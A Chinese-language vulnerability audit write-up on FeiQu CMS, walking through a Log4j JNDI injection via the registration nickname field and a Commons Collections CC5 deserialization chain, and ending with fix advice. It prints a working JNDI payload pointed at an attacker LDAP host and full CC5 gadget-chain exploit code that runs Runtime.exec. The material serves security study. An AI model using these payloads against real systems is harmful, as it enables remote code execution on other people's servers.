飞趣CMS二次审计
字数 1530 2025-08-27 12:33:31
飞趣CMS二次审计漏洞分析与利用教学文档
0x01 前言
本文基于先知社区Met32师傅对飞趣CMS的二次审计结果,深入分析该CMS存在的安全漏洞及利用方法。原始分析文章可参考:飞趣CMS审计。
0x02 环境部署注意事项
- 数据库配置:
- 配置文件位于
resources目录 - Redis和MySQL密码使用AES加密存储
- 加密工具类:
com.feiqu.common.utils.AESUtil
- 配置文件位于
0x03 Log4j漏洞分析
漏洞发现
在com.feiqu.web.controller.UserController的home函数(944行)发现存在logger.info()调用,存在Log4j漏洞利用点。
漏洞验证
public class Test1 {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(logtest.class);
logger.info("${jndi:ldap://17zuzp.dnslog.cn}");
}
}
利用点
-
用户注册功能:
- 在注册时可在昵称字段填入Log4j payload
- 前端name对应
FqUser工具类
-
用户主页访问:
- URL格式:
127.0.0.1:8080/u/12/home - 触发点在用户主页访问时
- URL格式:
利用方法
- 在用户注册时,在昵称字段填入payload:
${jndi:ldap://attacker.com/exp} - 访问用户主页触发漏洞
- 观察DNSLOG回显确认漏洞存在
0x04 Commons Collections反序列化漏洞分析
环境条件
- 系统中存在Commons Collections组件
- 测试发现CC4版本中部分类无法序列化,建议使用CC3或CC5链
CC5利用链分析
利用链过程:
ObjectInputStream.readObject()BadAttributeValueExpException.readObject()TiedMapEntry.toString()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()
POC代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class },
new String[] { "calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tiedmap = new TiedMapEntry(outerMap, "keykey");
BadAttributeValueExpException POC = new BadAttributeValueExpException(1);
Field field = BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(POC, tiedmap);
// 序列化
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc5.bin"));
objectOutputStream.writeObject(POC);
objectOutputStream.close();
// 反序列化触发
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc5.bin"));
objectInputStream.readObject();
objectInputStream.close();
关键点分析
-
LazyMap初始化:
- 将
transformerChain存入到factory LazyMap.get()会调用transform方法
- 将
-
触发链:
TiedMapEntry初始化时将LazyMap作为第一个参数传入TiedMapEntry.toString()调用getValue(),进而调用LazyMap.get- 通过反射将
BadAttributeValueExpException的val设置为TiedMapEntry
实际利用限制
审计发现系统中仅有一处readObject调用点,实际利用存在困难,因此该漏洞利用失败。
0x05 其他漏洞尝试
-
SQL注入:
- 发现多个潜在注入点
- 但参数均不可控,无法利用
-
Fastjson反序列化:
- 存在
JSON.parseObject调用 - 但无可控点,无法利用
- 存在
0x06 总结
-
确认漏洞:
- Log4j漏洞存在且可利用
- 主要在用户注册和主页访问功能中
-
潜在风险:
- Commons Collections组件存在但利用受限
- 其他类型漏洞参数不可控
-
修复建议:
- 升级Log4j版本
- 对用户输入进行严格过滤
- 移除不必要的反序列化功能